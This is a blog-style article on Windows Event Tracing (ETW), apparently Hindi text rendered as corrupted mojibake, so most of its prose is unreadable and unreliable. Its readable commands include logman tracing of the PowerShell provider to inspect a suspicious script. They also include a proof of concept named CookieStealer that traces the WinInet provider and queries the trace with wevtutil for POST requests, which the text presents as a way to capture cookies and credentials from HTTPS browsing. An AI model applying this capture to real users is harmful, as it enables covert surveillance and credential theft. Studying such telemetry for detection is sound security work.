рд╡рд┐рдВрдбреЛрдЬ рдХреЗ рд▓рд┐рдП рдИрд╡реЗрдВрдЯ рдЯреНрд░реЗрд╕рд┐рдВрдЧ рдмреБрд░реА рддрд░рдл рд╣реИред рд▓реЗрдХрд┐рди рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд╣реАрдВ рд╣реИ


PowerShell рд╕реНрдирд┐рдлрд╝рд░ рдФрд░ рджреВрд░рд╕реНрде рд╕рд░реНрд╡рд░ рд╕реЗ рдмреВрдЯ рдбреЗрдЯрд╛ рдПрдХрддреНрд░ рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдкрд┐рдЫрд▓реЗ рд▓реЗрдЦреЛрдВ рдореЗрдВ , рдореИрдВрдиреЗ рдкрд╣рд▓реЗ рд╣реА ETW (рд╡рд┐рдВрдбреЛрдЬ рдХреЗ рд▓рд┐рдП рдЗрд╡реЗрдВрдЯ рдЯреНрд░реЗрд╕рд┐рдВрдЧ) рдХреНрд╖рдорддрд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдереЛрдбрд╝рд╛ рд▓рд┐рдЦрд╛ рдерд╛ред рдЖрдЬ рдореИрдВ рдЗрд╕ рддрдХрдиреАрдХ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдмрд╛рдд рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реВрдВред


рдЙрд╕реА рд╕рдордп, рдореИрдВ HTTPS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдФрд░ PowerShell рдкрд░ рдПрдХ keylogger рдмрдирд╛рдХрд░ рджрд┐рдЦрд╛рдКрдВрдЧрд╛ рдХрд┐ рдЗрд╕реЗ рдЕрдЪреНрдЫреЗ рдХреЗ рд▓рд┐рдП рдХреИрд╕реЗ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЕрдЪреНрдЫреЗ рдХреЗ рд▓рд┐рдП рдирд╣реАрдВред


ETW рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░реЗрдВ


рд╡рд┐рдВрдбреЛрдЬ рдХреЗ рд▓рд┐рдП рдИрд╡реЗрдВрдЯ рдЯреНрд░реЗрд╕рд┐рдВрдЧ рд╡рд┐рдВрдбреЛрдЬ рд╕рд┐рд╕реНрдЯрдо рдХрдВрдкреЛрдиреЗрдВрдЯреНрд╕ рдФрд░ рдерд░реНрдб-рдкрд╛рд░реНрдЯреА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕реЗ рд╕рдВрджреЗрд╢ рдПрдХрддреНрд░ рдХрд░рддрд╛ рд╣реИ рдФрд░ рднреЗрдЬрддрд╛ рд╣реИред рдпрд╣ рд╡рд┐рдВрдбреЛрдЬ 2000 рдХреЗ рджрд┐рдиреЛрдВ рдореЗрдВ рд╡рд╛рдкрд╕ рджрд┐рдЦрд╛рдИ рджрд┐рдпрд╛, рд▓реЗрдХрд┐рди рдЕрдЧрд░ рдЙрди рджрд┐рдиреЛрдВ рдореЗрдВ рдХрдИ рджрд░реНрдЬрди рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рджрд╛рддрд╛ рдереЗ, рддреЛ рдЕрдм рдЙрдирдХрд╛ рд╕реНрдХреЛрд░ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд╕реИрдХрдбрд╝реЛрдВ рдореЗрдВ рд╣реИред рд╕рдВрджреЗрд╢реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХреЗ рдирд┐рджрд╛рди рдФрд░ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдкреНрд░рджрд░реНрд╢рди рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЛ рд╣рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╕рд╛рдиреА рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред


рдХреБрдЫ рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рджрд╛рддрд╛ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╡рд┐рдВрдбреЛрдЬ рдЗрд╡реЗрдВрдЯ рд▓реЙрдЧ рдореЗрдВ рд▓рд┐рдЦрддреЗ рд╣реИрдВ, рдФрд░ рдХреБрдЫ рдЕрд▓рдЧ рд╕реЗ рд╢рд╛рдорд┐рд▓ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рддреЛ рднрд▓реЗ рд╣реА рдЖрдкрдХреЛ ETW рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдкрддрд╛ рди рд╣реЛ, рдЖрдк рд╢рд╛рдпрдж рдЗрд╕рдХрд╛ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░рддреЗ рд╣реИрдВред рдЖрдк рд▓реЙрдЧ рд╕реЗ рдкрд░рд┐рдЪрд┐рдд рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрджрд┐ рдЖрд╡реЗрджрди рдФрд░ рд╕реЗрд╡рд╛ рд▓реЙрдЧ рдореЗрдВ рдорд╛рдирдХ рдЗрд╡реЗрдВрдЯ рд╡реНрдпреВрдЕрд░ рдореЗрдВ рдЖрд╡рд╢реНрдпрдХ рд╣реЛред рдкрддреНрд░рд┐рдХрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдереЛрдбрд╝рд╛ рдФрд░ рдЗрд╕рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд▓реЗрдЦ рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ " рд╣рдо рд▓реЙрдЧ рдХреЛ рдШреБрдорд╛рддреЗ рд╣реИрдВ рдЬреИрд╕реЗ рд╣рдо рдЪрд╛рд╣рддреЗ рд╣реИрдВ - рд╡рд┐рдВрдбреЛрдЬ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рд▓реЙрдЧ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг "ред


рдЖрдк рдореМрдЬреВрджрд╛ рдкреНрд░рджрд╛рддрд╛рдУрдВ рдХреА рд╕реВрдЪреА рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдХреЗрд╡рд▓ рд╣рдореЗрдВ рдпрд╣ рдмрддрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЦреБрд╢ рд╣реИрдВ рдХрд┐ рд▓реЙрдЧрдореИрди рдХреНрд╡реЗрд░реА рдкреНрд░реЛрд╡рд╛рдЗрдбрд░ рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдЙрдирдХреЗ рд╕рд╛рде рдХреНрдпрд╛ рд╣реЛ рд░рд╣рд╛ рд╣реИред



ETW рдкреНрд░рджрд╛рддрд╛ред


рдЖрдк рдЙрди рдкреНрд░рджрд╛рддрд╛рдУрдВ рдХреА рд╕реВрдЪреА рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╡рд┐рдВрдбреЛрдЬ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рдЬреБрдбрд╝реЗ рд╣реИрдВ (рдФрд░, рдЗрд╕рд▓рд┐рдП, рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рд╕реАрдЦреЗрдВ) рд▓реЛрдЧрдореИрди рдХреНрд╡реЗрд░реА рдкреНрд░реЛрд╡рд╛рдЗрдбрд░реНрд╕ -рдкрд┐рдб <рдкреНрд░рдХреНрд░рд┐рдпрд╛ PID> рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ ред



рдПрдХ рдирд┐рдпрдорд┐рдд рдиреЛрдЯрдмреБрдХ рд╕реЗ рдЬреБрдбрд╝реЗ рдкреНрд░рджрд╛рддрд╛рдУрдВ рдХреА рд╕реВрдЪреАред


рдЖрдк рдПрдХ рд╡рд┐рд╢реЗрд╖ рдкреНрд░рджрд╛рддрд╛ рдХреА рдШрдЯрдирд╛рдУрдВ рдХреЗ рд▓рд┐рдП рд╕рджрд╕реНрдпрддрд╛ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдиреНрдпреВ-рдиреЗрдЯрдЗрд╡реЗрдВрдЯрд╕реЗрдВрд╢рди cmdlet рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ PowerShell рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЯреНрд░реЗрд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдФрд░ рдЖрдк "рдХрдВрдкреНрдпреВрдЯрд░ рдкреНрд░рдмрдВрдзрди" - "рдкреНрд░рджрд░реНрд╢рди" - "рдбреЗрдЯрд╛ рдХрд▓реЗрдХреНрдЯрд░реЛрдВ рдХреЗ рд╕рдореВрд╣" рдкрде рдкрд░ рдорд╛рдЙрд╕ рдХреЗ рд╕рд╛рде рднреА рдХреНрд▓рд┐рдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣рд╛рдВ, рдЗрд╡реЗрдВрдЯ рдЯреНрд░реИрдХрд┐рдВрдЧ рд╕рддреНрд░реЛрдВ рдореЗрдВ, рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреМрди рд╕реЗ рдирд┐рд╢рд╛рди рдЪрд▓ рд░рд╣реЗ рд╣реИрдВ, рдФрд░ рдпрджрд┐ рдЖрдк рдЪрд╛рд╣реЗрдВ рддреЛ рдЕрдкрдирд╛ рдЦреБрдж рдХрд╛ рдХрд▓реЗрдХреНрдЯрд░ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред



рджреМрдбрд╝рдиреЗ рдХреЗ рдирд┐рд╢рд╛рдиред


рдЖрдк рдЙрдкрдпреЛрдЧ рдФрд░ рдЙрдкрдпреЛрдЧрд┐рддрд╛ рд╕реЗрдЯ рдЬреИрд╕реЗ Microsoft рд╕рдВрджреЗрд╢ рд╡рд┐рд╢реНрд▓реЗрд╖рдХ , рд╡рд┐рдВрдбреЛрдЬ рдкреНрд░рджрд░реНрд╢рди рдЯреВрд▓рдХрд┐рдЯ рдпрд╛ рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ PowerShell Get-WinEvent cmdlet рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд░рд┐рдгрд╛рдо рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ ред


рдореИрдВ рд╕реБрдЭрд╛рд╡ рджреЗрддрд╛ рд╣реВрдВ рдХрд┐ рдЖрдк Microsoft рдкреНрд░рд▓реЗрдЦрди рдореЗрдВ ETW рдХреА рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЛ рдкрдврд╝реЗрдВ, рдЖрдк рд▓рдЧрднрдЧ рдИрд╡реЗрдВрдЯ рдЯреНрд░реЗрд╕рд┐рдВрдЧ рдЕрдиреБрднрд╛рдЧ рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдореИрдВ рдХреБрдЫ рдЕрдЪреНрдЫреА рд╕рд╛рдордЧреНрд░реА рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХрд░ рд╕рдХрддрд╛ рд╣реВрдВ " рд╣рдо рдИрдЯреАрдбрдмреНрд▓реНрдпреВ рдХрд╛ рдЕрдзреНрдпрдпрди рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдореБрдирд╛рдлрд╛ рдирд┐рдХрд╛рд▓рддреЗ рд╣реИрдВ "ред


рдЪреВрдВрдХрд┐ ETW рдХрд░реНрдиреЗрд▓ рд╕реНрддрд░ рдкрд░ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рд╕рдВрджреЗрд╢ рд╣рд╕реНрддрд╛рдВрддрд░рдг рдХреА рдЧрддрд┐ рдФрд░ рдХрд┐рд╕реА рднреА рдбреНрд░рд╛рдЗрд╡рд░ рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЗ рдЕрднрд╛рд╡ рдпрд╛ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рд╣реЛрдиреЗ рд╕реЗ рдЕрд▓рдЧ рд╣реИред рдЖрдорддреМрд░ рдкрд░, ETW рдХрд╛ рдЙрдкрдпреЛрдЧ рдкреНрд░рджрд░реНрд╢рди рдФрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЗ рдирд┐рджрд╛рди рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд▓реЗрдЦ " рдореМрдЬ-рдорд╕реНрддреА рдФрд░ рд▓рд╛рдн рдХреЗ рд▓рд┐рдП рд╡рд┐рдВрдбреЛрдЬ рдмреВрдЯ рддреЗрдЬ рдХрд░рдирд╛ " рдЙрди рдХрд╛рд░рдХреЛрдВ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд▓реЛрдбрд┐рдВрдЧ рдХреА рдордВрджреА рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рдФрд░ рд▓реЗрдЦ рдореЗрдВ 24-рдХреЛрд░ рд╕реАрдкреАрдпреВ рдФрд░ рдореИрдВ рдЕрдкрдиреЗ рдорд╛рдЙрд╕ рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ - рд╕рд╛рдзрд╛рд░рдг рдСрдкрд░реЗрд╢рди рдкрд░ рд╡рд┐рдВрдбреЛрдЬ рдХреЛ рдзреАрдорд╛ рдХрд░рдиреЗ рдХрд╛ рдХрд╛рд░рдгред рдореИрдВ рдЖрдкрдХреЛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рджреЗрддрд╛ рд╣реВрдВ - рдкреЙрд╡рд░рд╢реЗрд▓ cmdlet рд░рди рд╡рд┐рд╢реНрд▓реЗрд╖рдгред


рдкреЙрд╡рд░рд╢реЗрд▓ рджреЗрдЦрдирд╛


рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рдХрд┐рд╕реА рддрд░рд╣ рд╕реЗ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реНрдЯрд╛рд░реНрдЯрдЕрдк рдХреЗ рдСрдбрд┐рдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ), рдЖрдкрдХреЛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдЖрдкрдХреЗ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рд╕реНрд▓реЗрдб рдкреНрд░реЛрд╕реЗрд╕ рдФрд░ рдкреЙрд╡рд░рд╢реЗрд▓ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓ рд░рд╣реЗ рд╣реИрдВред рдЙрдирдХреА рдЧрддрд┐рд╡рд┐рдзрд┐ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдИрдЯреАрдбрдмреНрд▓реНрдпреВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рддрдХрдиреАрдХ рд╣реЛрдЧреАред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, PowerShell рдкреНрд░рджрд╛рддрд╛ рдХреЛ рджреЗрдЦреЗрдВред рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдЯреНрд░реЗрд╕рд┐рдВрдЧ рдЪрд╛рд▓реВ рдХрд░реЗрдВ:


logman start pstrace -p Microsoft-Windows-PowerShell -oc:\temp\pstrace.etl -ets 

рдЕрдм рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░реЗрдВ рдХрд┐ рдЬрдм рддрдХ рд╕рдордЭ рд╕реЗ рдмрд╛рд╣рд░ рдХреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛рдо рди рдХрд░реЗрдВ, рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдЯреНрд░реЗрд╕ рд░реЛрдХ рджреЗрдВ:


 logman stop pstrace -ets 

рдЕрдм рдЖрдк рдЯреНрд░реЗрд╕ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Microsoft рд╕рдВрджреЗрд╢ рд╡рд┐рд╢реНрд▓реЗрд╖рдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗред



рд╕рдВрджреЗрд╣рд╛рд╕реНрдкрдж clean.ps1 рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдХреБрдЫ рдХреЛ рдЦреЛрдЬрддрд╛ рд╣реИ рдФрд░ рд╣рдЯрд╛рддрд╛ рд╣реИред


рдпрджрд┐ рдЖрдк рд╡рд╛рдВрдЫрд┐рдд рд▓рд╛рдЗрди рдХрд╛ рдЪрдпрди рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдирд┐рдЪрд▓реЗ рдкреИрдирд▓ рдореЗрдВ рдШрдЯрдирд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рдЬрд╛рдирдХрд╛рд░реА рд╣реЛрдЧреАред



рдЖрд╣, рдпрд╣ 1C рдХреИрд╢ рдХреЛ рд╕рд╛рдлрд╝ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╣реА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реИ!


рдЗрд╕ рдмрд╛рд░ рд╕рдм рдХреБрдЫ рдЯреНрд░рд╛рдЗрдЯ рд╣реЛ рдЧрдпрд╛ред рд▓реЗрдХрд┐рди рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдЖрдк рдЕрдиреНрдп рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХреА рдЬрд╛рдБрдЪ рдХреЗ рд▓рд┐рдП рдЯреНрд░реЗрд╕ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ:


  • рдиреЗрдЯрд╡рд░реНрдХ рдЧрддрд┐рд╡рд┐рдзрд┐;
  • рдбреАрдПрдирдПрд╕ рд╕рдВрдХрд▓реНрдк
  • рдбрд┐рд╕реНрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ;
  • рд╕реНрдореГрддрд┐ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░реЗрдВ;
  • рдбрдмреНрд▓реНрдпреВрдПрдордЖрдИ рдЧрддрд┐рд╡рд┐рдзрд┐
  • рдФрд░ рднреА рдмрд╣реБрдд рдХреБрдЫред

рдЗрд╕ рддрд░рд╣, ETW рдореИрд▓рд╡реЗрдпрд░ рдХреЛ рдкрдХрдбрд╝рдиреЗ рдФрд░ рдпрд╣ рд╕рдордЭрдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддреА рд╣реИ рдХрд┐ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВред рдХреБрдЫ рд╕реНрдерд╛рдиреЛрдВ рдкрд░, рдпрд╣ рд╕рд╛рдорд╛рдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЙрдирд┐рдЯрд░ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реАрдкреВрд░реНрдг рд╣реИред рд▓реЗрдХрд┐рди рдЕрдЪреНрдЫреЗ рдХрд╛рдореЛрдВ рдХреЗ рдЕрд▓рд╛рд╡рд╛, рддрдВрддреНрд░ рдХрд╛ рдПрдХ "рдЕрдВрдзреЗрд░рд╛" рдкрдХреНрд╖ рд╣реИред


рдмреЗрд╢рдХ, рдЖрдк рдПрдХ рд╣рдереМрдбрд╝рд╛ рд╕реЗ рдорд╛рд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдмрдВрджреВрдХ рд╕реЗ рдмрдЪрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдмреЗрд╢рдХ, рдореИрдВ рддрдВрддреНрд░ рдХрд╛ рдиреИрддрд┐рдХ рдореВрд▓реНрдпрд╛рдВрдХрди рдирд╣реАрдВ рдХрд░реВрдВрдЧрд╛, рд▓реЗрдХрд┐рди рдХрд┐рд╕реА рднреА рдорд╛рдорд▓реЗ рдореЗрдВ, рджрд┐рд▓рдЪрд╕реНрдк рдЕрд╡рд╕рд░ рдЦреБрд▓рддреЗ рд╣реИрдВред

рдореИрдВ рдкреНрд░реВрдлрд╝-рдСрдлрд╝-рдХреЙрдиреНрд╕реЗрдкреНрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдХреБрдЫ рдЙрджрд╛рд╣рд░рдг рджреВрдВрдЧрд╛


рдПрд╕ рдХрд╛ рдорддрд▓рдм рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ


рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рдореИрдВ рджрд┐рдЦрд╛рдКрдВрдЧрд╛ рдХрд┐ HTTPS рдкрд░ рднреА, рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рдХрд┐рддрдирд╛ рдЖрд╕рд╛рди рд╣реИ рдХрд┐ рдХреЛрдИ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдХреНрдпрд╛ рджреЗрдЦ рд░рд╣рд╛ рд╣реИред рдЖрдк рдЗрд╕реЗ рдмрд┐рдирд╛ PowerShell - рдХреЗрд╡рд▓ рдПрдХ рдорд╛рдЙрд╕, рдХреЗрд╡рд▓ рдХрдЯреНрдЯрд░ рдХреЗ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВред рд╣рдорд╛рд░реЗ рдХрд╛рд░реНрдп рдореЗрдВ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╣реЛрдЧрд╛, рд╡рд┐рдВрдбреЛрдЬ рд╣реЛрдЧрд╛, рдЗрдВрдЯрд░рдиреЗрдЯ рдПрдХреНрд╕рдкреНрд▓реЛрд░рд░ рдФрд░ рдПрдХ рдЗрд╡реЗрдВрдЯ рд▓реЙрдЧ рд╣реЛрдЧрд╛ред


рдЖрдЗрдП Wininet рдЗрд╡реЗрдВрдЯ рд▓реЙрдЧ рдХреЛ рдЪрд╛рд▓реВ рдХрд░рдХреЗ рд╢реБрд░реВ рдХрд░реЗрдВред рдпрд╣ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: рдИрд╡реЗрдВрдЯ рд▓реЙрдЧ рдЦреЛрд▓реЗрдВ, "рджреЗрдЦреЗрдВ" рдЯреИрдм рдкрд░, рд╡рд┐рд╢реНрд▓реЗрд╖рдгрд╛рддреНрдордХ рдФрд░ рдбреАрдмрдЧ рд▓реЙрдЧ рдХреЗ рдкреНрд░рджрд░реНрд╢рди рдХреЛ рд╕рдХреНрд╖рдо рдХрд░реЗрдВред



рдЗрдЪреНрдЫрд┐рдд рд▓реЙрдЧ рдХрд╛ рдкреНрд░рджрд░реНрд╢рди рдЬреЛрдбрд╝реЗрдВред


рдЙрд╕рдХреЗ рдмрд╛рдж, рд╕рдВрджрд░реНрдн рдореЗрдиреВ рдореЗрдВ UseLog рд╕рдХреНрд╖рдо рдХрд░реЗрдВ, рдФрд░ рдпрд╣ рдЖрд╡рд╢реНрдпрдХ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реИред рдЖрдЗрдИ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдФрд░ рд▓реЙрдЧ рджреЗрдЦреЗрдВ:



WinInet рдкрддреНрд░рд┐рдХрд╛ред


рджрд░рдЕрд╕рд▓, рдкрддреНрд░рд┐рдХрд╛ рд╣реЗрдбрд░ рдореЗрдВ рдФрд░ рдЦреЛрдЬ рдЗрдВрдЬрди рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реАрдзрд╛ рдЕрдиреБрд░реЛрдз рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИред


рд╣реЗрдбрд░ рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЖрдк рдХреБрдХреАрдЬрд╝ рдХреЛ рдмрд╛рд╣рд░ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рд▓реЙрдЧрдмреБрдХ рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рд╕рд╛рде рд╣реА POST рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рднреА рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ - рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рдЦреАрдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдПред рддрдХрдиреАрдХ рдХрд┐рд╕реА рднреА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдкрд░ рдХрд╛рдо рдХрд░рддреА рд╣реИ рдЬреЛ рдЗрдВрдЯрд░рдиреЗрдЯ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП wininet.dll рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдЬ рдмреНрд░рд╛рдЙрдЬрд╝рд░ред


рд╡рд╣реА рдЖрд╕рд╛рдиреА рд╕реЗ PowerShell рдкрд░ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ cmd рдкрд░ рднреАред рдореИрдВ рдкрд┐рдЫрд▓реЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рджреВрдВрдЧрд╛ред


рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдПрдХ рдЯреНрд░реЗрд╕ рдмрдирд╛рдПрдВ:


 logman start CookieStealer -p Microsoft-Windows-WinInet -oc:\temp\cookiesteal.etl -ets 

рдЕрдм рдмреНрд░рд╛рдЙрдЬрд░ рдореЗрдВ рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВ, рдореЗрд▓ рдЪреЗрдХ рдХрд░рддреЗ рд╣реИрдВред рдЯреНрд░реЗрд╕рд┐рдВрдЧ рдХреЛ рдлрд┐рд░ рдХрдорд╛рдВрдб рд╕реЗ рд░реЛрдХрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:


 logman stop CookieStealer -ets 

рд╕рдмрд╕реЗ рд╕рд░рд▓ рд╡рд┐рд╢реНрд▓реЗрд╖рдг wevtutil.exe рдХрдорд╛рдВрдб рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, POST рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП, рдХрдорд╛рдВрдб рд╣реЛрдЧреА:


 wevtutil qe c:\temp\cookiesteal.etl /lf:true /f:Text | find /i "POST" 

